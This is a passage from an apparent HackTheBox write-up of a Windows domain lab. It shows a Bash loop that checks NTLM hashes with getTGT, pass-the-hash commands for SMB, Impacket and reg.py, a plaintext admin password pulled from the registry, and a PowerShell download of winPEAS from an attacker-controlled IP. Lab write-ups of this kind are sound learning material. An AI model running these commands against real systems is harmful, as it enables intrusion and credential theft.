appeared.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0589.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw the same error even under normal conditions, so this had nothing to do with my changes.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/zhaijiahui/p/9597935.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/zhaijiahui/p/9597935.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog described a solution. Here it is:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user_key = (RC4_HMAC, bytes.fromhex(temp))&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Another error:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0590.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0591.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I kept changing it and even migrated it from Python 2 to Python 3. I&amp;rsquo;m certain this code was fundamentally broken—there was no end to the fixes. This route might not work at all, so I decided to read a writeup.&lt;/p&gt;&#10;&lt;p&gt;One writeup used this exact tool. The author ran it with Python 2, and apparently it didn&amp;rsquo;t throw any errors. I couldn&amp;rsquo;t see enough details, such as the exact version, so I searched for other posts. Everything I found introduced ADPwdSpray.py and also used Python 2, but I simply couldn&amp;rsquo;t get it working.&lt;/p&gt;&#10;&lt;p&gt;Another writeup used getTGT. The idea was that getTGT accepts a hash and communicates over Kerberos. If it returned the right response, the hash was valid. I have to say, that was a great idea. In principle, it was no different from ADPwdSpray.py above, but I couldn&amp;rsquo;t use ADPwdSpray.py. So I wrote a Bash shell script instead.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for temp in $(cat hashes.txt)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;result=$(getTGT.py htb.local/henry.vinson -hashes $temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;if [[ $result != *&amp;#34;Pre-authentication information was invalid&amp;#34;* ]]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;echo $temp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;echo $result&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0592.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a result. Earlier I had accidentally matched an error; excluding error output fixed that. The clock-skew message here also meant the hash was correct.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0593.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My usual method for synchronizing the clock didn&amp;rsquo;t work here. It couldn&amp;rsquo;t find the server, whether I used IPv4 or IPv6.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gitlab.com/NTPsec/ntpsec/-/issues/292" target="_blank" rel="noopener"&#10; &gt;https://gitlab.com/NTPsec/ntpsec/-/issues/292&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found" target="_blank" rel="noopener"&#10; &gt;https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These two posts explained my situation very clearly. If the target server has both v4 and v6, ntpdate won&amp;rsquo;t work unless you explicitly specify &lt;code&gt;-6&lt;/code&gt; or &lt;code&gt;-4&lt;/code&gt;. The target also needs to have the NTP service listening on port 123.&lt;/p&gt;&#10;&lt;p&gt;I had no other ideas, so I asked Claude for help. While I&amp;rsquo;m still learning, I at least want to collect several different methods.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcdump&amp;gt; gettime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net time -S htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date -s &amp;#34;Sat Dec 7 05:14:11 2024&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That was the suggested procedure. I only needed to combine the commands.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date -s &amp;#34;$(net time -S htb.local)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0594.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It finally worked. It&amp;rsquo;s best to combine the two commands, or it stops working again after a little while.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0595.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, WinRM didn&amp;rsquo;t work. I had wasted all that time. SMB did work, though.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -L //htb.local/ -U &amp;#39;henry.vinson%e53d87d42adaa3ca32bdb34a876cbffb&amp;#39; --pw-nt-hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0596.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing was different, and there didn&amp;rsquo;t seem to be anything to exploit. Once you have a user&amp;rsquo;s credentials, the obvious options for further reconnaissance are SMB and LDAP. Here, SMB revealed nothing new, and LDAP apparently didn&amp;rsquo;t support pass-the-hash.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py htb.local/henry.vinson -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetADUsers.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson -dc-ip htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At this point I checked the writeups again. They all said I needed to &lt;strong&gt;access the registry remotely&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;Here is a tutorial for reg.py:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wadcoms.github.io/wadcoms/Impacket-Reg/" target="_blank" rel="noopener"&#10; &gt;https://wadcoms.github.io/wadcoms/Impacket-Reg/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;P.S. While testing it, I noticed that it performs the queries over SMB.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0597.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKLM\\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0598.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No permission? I started researching which registry hives existed and how remote registry access worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/youyudexiaowangzi/article/details/123707258" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/youyudexiaowangzi/article/details/123707258&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog gave me the answer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0599.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only HKLM and HKU could be queried. I had just tried HKLM without success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0600.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;HKU did contain data. Some keys were accessible and others weren&amp;rsquo;t. I searched for information disclosure through HKU, because there were far too many keys to query manually, and each query was painfully slow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0601.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The only accessible SIDs were S-1-5-18, S-1-5-21-2993095098-2100462451-206186470-1105, and S-1-5-21-2993095098-2100462451-206186470-1105_Classes.&lt;/p&gt;&#10;&lt;p&gt;That meant checking them one by one. Besides those SIDs, &lt;code&gt;.DEFAULT&lt;/code&gt; was also readable. I used the &lt;code&gt;-s&lt;/code&gt; flag here so I could access the node and recursively enumerate all of its keys.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKU\\ -s&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0602.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;\S-1-5-21-2993095098-2100462451-206186470-1105\Software\GiganticHostingManagementSystem\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;UserName&#9;REG_SZ&#9; henry.vinson_adm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;PassWord&#9;REG_SZ&#9; G1#Ny5@2dvht&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0603.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—I logged straight in.&lt;/p&gt;&#10;&lt;p&gt;whoami and systeminfo didn&amp;rsquo;t reveal anything useful.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/winPEASany.exe -OutFile .\winPEASany.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I uploaded it to inspect the system.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0604.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Reading from top to bottom, everything highlighted in red was worth investigating. I checked the history.&lt;/p&gt;&#10;&lt;p&gt;This is what it contained:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = get-credential administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path &amp;#34;HKLM:\SYSTEM\CurrentControlSet\Control\Lsa&amp;#34; lmcompatibilitylevel -Type DWORD -Value 2 -Force}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;These days, whenever I encounter a PowerShell script, I search for what every function does.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This command obtains a credential object and stores it in a variable. It prompts for a username and password.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# After input, the cmdlet creates a PSCredential object representing the user credentials and stores it in $c.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The password was not captured because the prompt is interactive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;get-credential&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the command with specified credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;invoke-command -credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Specify the computer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-computername&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# After specifying the computer, the command can run on the target; the script block itself executes locally there&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-scriptblock&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the registry value and assign its initial value&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ItemProperty -Path &amp;#34;HKLM:\SYSTEM\CurrentControlSet\Control\Lsa&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The documented default for LmCompatibilityLevel is described below&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# By default, LM and NTLMv1 are not disabled, so value 3 accepts LM and NTLMv1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# and uses NTLMv2 if the server supports it.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lmcompatibilitylevel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For the Type parameter, I only found RegistryValueKind documentation; it describes DWORD as a 32-bit unsigned integer type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Type DWORD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Value assigns data to a name; no name is shown here, but this effectively sets LmCompatibilityLevel to 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-Value 2 -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The search results above only explained values 3, 4, and 5, not 2, but I eventually found it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The final link below provided the answer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It uses NTLMv1 authentication by default while accepting both LM and NTLM authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0605.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here are the posts I referenced. The parameters are documented there as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level" target="_blank" rel="noopener"&#10; 